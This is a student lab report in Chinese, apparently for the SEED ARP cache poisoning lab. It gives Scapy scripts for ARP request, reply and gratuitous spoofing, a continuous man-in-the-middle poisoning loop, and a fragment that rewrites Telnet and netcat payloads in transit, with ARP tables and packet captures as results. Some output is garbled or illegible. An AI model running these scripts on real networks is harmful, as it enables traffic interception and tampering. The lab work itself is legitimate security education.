

# Chapter 4 实验报告

57118238 刘欣宇

## Task 1.A 利用 ARP Request 欺骗

攻击代码如下：

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4E = Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
5A = ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='00:00:00:00:00:00',
6pdst='10.9.0.5', op=1)
7
8pkt = E / A
9
```

攻击效果如图：

```
root@5d2762c6b2e6:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
root@5d2762c6b2e6:/#
```

## Task 1.B 利用 ARP Reply 欺骗

原来 arp 缓存中不存在该映射时，利用如图攻击代码，能够成功：

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4E = Ether() #dst = MAC A
5A = ARP(psrc='10.9.0.6',pdst='10.9.0.5', op=2)
6pkt = E / A
7
8sendp(pkt)
9
```

攻击代码

```
root@5d2762c6b2e6:/# arp -n
root@5d2762c6b2e6:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
```

攻击效果

原来 arp 缓存中已存在映射时，攻击也能够成功：

```

root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
10.9.0.6         ether   02:42:0a:09:00:69  C           eth0

```

## Task 1.C:

攻击代码:

```

1#!/usr/bin/env python3
2from scapy.all import *
3
4E = Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
5A = ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='ff:ff:ff:ff:ff:ff',pdst='10.9.0.6')
6pkt = E / A
7
8sendp(pkt)
9

```

无论 ARP 缓存中是否已经存在映射, 攻击都能成功:

```

root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
10.9.0.6         ether   02:42:0a:09:00:69  C           eth0
root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
10.9.0.6         ether   02:42:0a:09:00:69  C           eth0

```

## Task2

每隔一段时间进行 spoofing:

```

#!/usr/bin/env python3
from scapy.all import *
import time

def spoofingAB(): #in A's cache,B'MAC map to M'MAC
    E = Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
    A = ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='00:00:00:00:00:00',pdst='10.9.0.5', op=1)
    pkt = E / A
    sendp(pkt)

def spoofingBA(): #in B's cache,A'MAC map to M'MAC
    E = Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
    A = ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.5',hwdst='00:00:00:00:00:00',pdst='10.9.0.6', op=1)
    pkt = E / A
    sendp(pkt)

while(1):
    spoofingAB()
    spoofingBA()
    time.sleep(5)

```

攻击成功:

```

root@85a4c0f79005:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69  C           eth0
10.9.0.6         ether   02:42:0a:09:00:69  C           eth0

```

主机 A arp

```
root@2c01f17b2bc0:/# arp -n
Address      HWtype  HWaddress      Flags Mask    Iface
10.9.0.5     ether   02:42:0a:09:00:69 C              eth0
```

### 主机 B 的 arp 缓存

关闭 ip forwarding, 攻击成功后 ping, ping 不通:

```

root@85a4c0f79005:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5101ms

root@2c01f17b2bc0:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5127ms

```

11	2021-07-12 03:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0066, seq=3/768, ttl=64 (no respo
12	2021-07-12 03:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0066, seq=4/1024, ttl=64 (no resp
13	2021-07-12 03:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0066, seq=5/1280, ttl=64 (no resp

所有的 ICMP 报文都是 no response

开启 ip forwarding, 攻击成功后 ping:

	PING 19.0.0.6 (19.0.0.6) 56(84) bytes of data.		
	64 bytes from 19.0.0.6: icmp seq=1 ttl=63 time=0.511 ms		
	From 19.0.0.105: icmp seq=2 Redirect Host(New nexthop: 19.0.0.6)		
	64 bytes from 19.0.0.6: icmp seq=2 ttl=63 time=0.223 ms		
	From 19.0.0.105: icmp seq=3 Redirect Host(New nexthop: 19.0.0.6)		
	64 bytes from 19.0.0.6: icmp seq=3 ttl=63 time=0.136 ms		
	From 19.0.0.105: icmp seq=4 Redirect Host(New nexthop: 19.0.0.6)		
	64 bytes from 19.0.0.6: icmp seq=4 ttl=63 time=0.990 ms		
	From 19.0.0.105: icmp seq=5 Redirect Host(New nexthop: 19.0.0.6)		
	64 bytes from 19.0.0.6: icmp seq=5 ttl=63 time=0.232 ms		
	From 19.0.0.105: icmp seq=6 Redirect Host(New nexthop: 19.0.0.6)		
	64 bytes from 19.0.0.6: icmp seq=6 ttl=63 time=1.36 ms		
	^C		
21	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
22	2021-07-12 03:2. 19.0.0.6	19.0.0.6	ICMP
23	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
24	2021-07-12 03:2. 19.0.0.5	19.0.0.6	ICMP
25	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
26	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
27	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
28	2021-07-12 03:2. 19.0.0.5	19.0.0.6	ICMP
29	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
30	2021-07-12 03:2. 19.0.0.5	19.0.0.6	ICMP
31	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
32	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
33	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
34	2021-07-12 03:2. 19.0.0.5	19.0.0.6	ICMP
35	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
36	2021-07-12 03:2. 19.0.0.5	19.0.0.6	ICMP
37	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP
38	2021-07-12 03:2. 19.0.0.105	19.0.0.6	ICMP
39	2021-07-12 03:2. 19.0.0.6	19.0.0.5	ICMP

实施攻击，无论传输端输入什么，都改为 L，返回的输入不变：

[illegible]

此时通过 Wireshark 抓包观察：

```
[Window size scaling factor: -1 (unknown)]
[Checksum: 0x4ff4 (unverified)]
[Checksum Status: Unverified]
Urgent pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
+ TCP Option - No-Operation (NOP)
  Kind: No-Operation (1)
+ TCP Option - No-Operation (NOP)
  Kind: No-Operation (1)
+ TCP Option - Timestamps: Tsvail 3323224552, TSecr 3576791002
  Kind: Time Stamp Option (8)
  Length: 10
  Timestamp value: 3323224552
  Timestamp echo reply: 3576791002
+ [SEQ/ACK analysis]
+ [Timestamps]
+ TCP payload (1 byte)
- Telnet
Data: L
0000 02 42 0a 09 00 06 02 42 0a 09 00 05 08 00 45 10  B...B...L..E.
0010 00 35 f9 b9 40 09 40 06 07 c8 0a 09 00 05 0a 09  5 @ @ .....
0020 00 06 00 17 b7 7c c7 1f f7 23 69 47 57 82 00 18  ....|...#IGW..
0030 01 fd 14 78 00 00 01 01 08 0a d5 32 4c 8e c6 14  ....X...:IG...
0040 0a 22 0e  ....j".....2L...
```

实际传输的 data

中间路由所伪造的 Data, 由于在 telnet 过程中修改了 ip\_forward, 在实验中发现  
在关闭后进行输入显示具有一定延迟, 直接显示为所伪造的字符 L:

```
[Checksum Status: Unverified]
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
+ TCP Option - No-Operation (NOP)
  Kind: No-Operation (1)
+ TCP Option - No-Operation (NOP)
  Kind: No-Operation (1)
+ TCP Option - Timestamps: Tsvail 3576843406, TSecr 3323226658
  Kind: Time Stamp Option (8)
  Length: 10
  Timestamp value: 3576843406
  Timestamp echo reply: 3323226658
+ [SEQ/ACK analysis]
+ [Timestamps]
+ TCP payload (1 byte)
- Telnet
Data: L
0000 02 42 0a 09 00 06 02 42 0a 09 00 05 08 00 45 10  B...B...L..E.
0010 00 35 1e cf 40 09 40 06 07 c8 0a 09 00 05 0a 09  5 @ @ .....
0020 00 06 00 17 b7 7c c7 1f f7 23 69 47 57 82 00 18  ....|...#IGW..
0030 01 fd 14 78 00 00 01 01 08 0a d5 32 4c 8e c6 14  ....X...:IG...
0040 0a 22 0e  ....j".....2L...
```

返回的报文并未更改:

```
[Window size scaling factor: -1 (unknown)]
[Checksum: 0x1478 (unverified)]
[Checksum Status: Unverified]
Urgent pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
+ TCP Option - No-Operation (NOP)
+ TCP Option - No-Operation (NOP)
+ TCP Option - Timestamps: Tsvail 3575728121, TSecr 3322112390
  Kind: Time Stamp Option (8)
  Length: 10
  Timestamp value: 3575728121
  Timestamp echo reply: 3322112390
+ [SEQ/ACK analysis]
+ [Timestamps]
+ TCP payload (53 bytes)
- Telnet
Data: \r\n
Data: -bash: sd: command not found\r\n
Data: seed055a4c8f7905-$
0000 02 42 0a 09 00 06 02 42 0a 09 00 05 08 00 45 10  B...B...L..E.
0010 00 09 1e 84 40 09 40 06 07 df 0a 09 00 05 0a 09  1 @ @ .....
0020 00 06 00 17 b7 7c c7 1f f6 95 69 47 57 8f 00 18  ....|...IGW...
0030 01 fd 14 78 00 00 01 01 08 0a d5 21 47 f9 c6 03  ....X...:IG...
0040 00 06 0d 0a 2d 02 51 73 68 3a 20 73 64 3a 20 63  i...bas h: sd: c
0050 0f 6d 6d 61 6e 64 20 6e 0f 74 20 66 6f 75 6e 64  omand n ot found
0060 0d 0a 73 65 65 64 40 30 35 61 34 63 30 66 37 35  .seed05 5a4c8f79
0070 30 30 32 3a 7c 24 2e  ....005:~$
```

## Task3

将使用 netcat 连接, 并运行攻击程序:

```
3 del(newpkt[TCP].chksum)
5 #####
7 # Construct the new payload based on the old payload.
8 # Students need to implement this part.
9 if pkt[TCP].payload:
10     data = pkt[TCP].payload.load
11     newdata = data.replace(b'seedlab', b'LXYLXYL')
12     send(newpkt/newdata)
13 else:
14     send(newpkt)
15 #####
16 - - - - -
```

```
root@85a4c0f79005:/# nc 10.9.0.6 9090
ls
seedlab i'm coming
hello seedlab
█
```

攻击效果:

```
root@2c01f17b2bc0:/# nc -lp 9090
ls
LXYLXYL i'm coming
hello LXYLXYL
█
```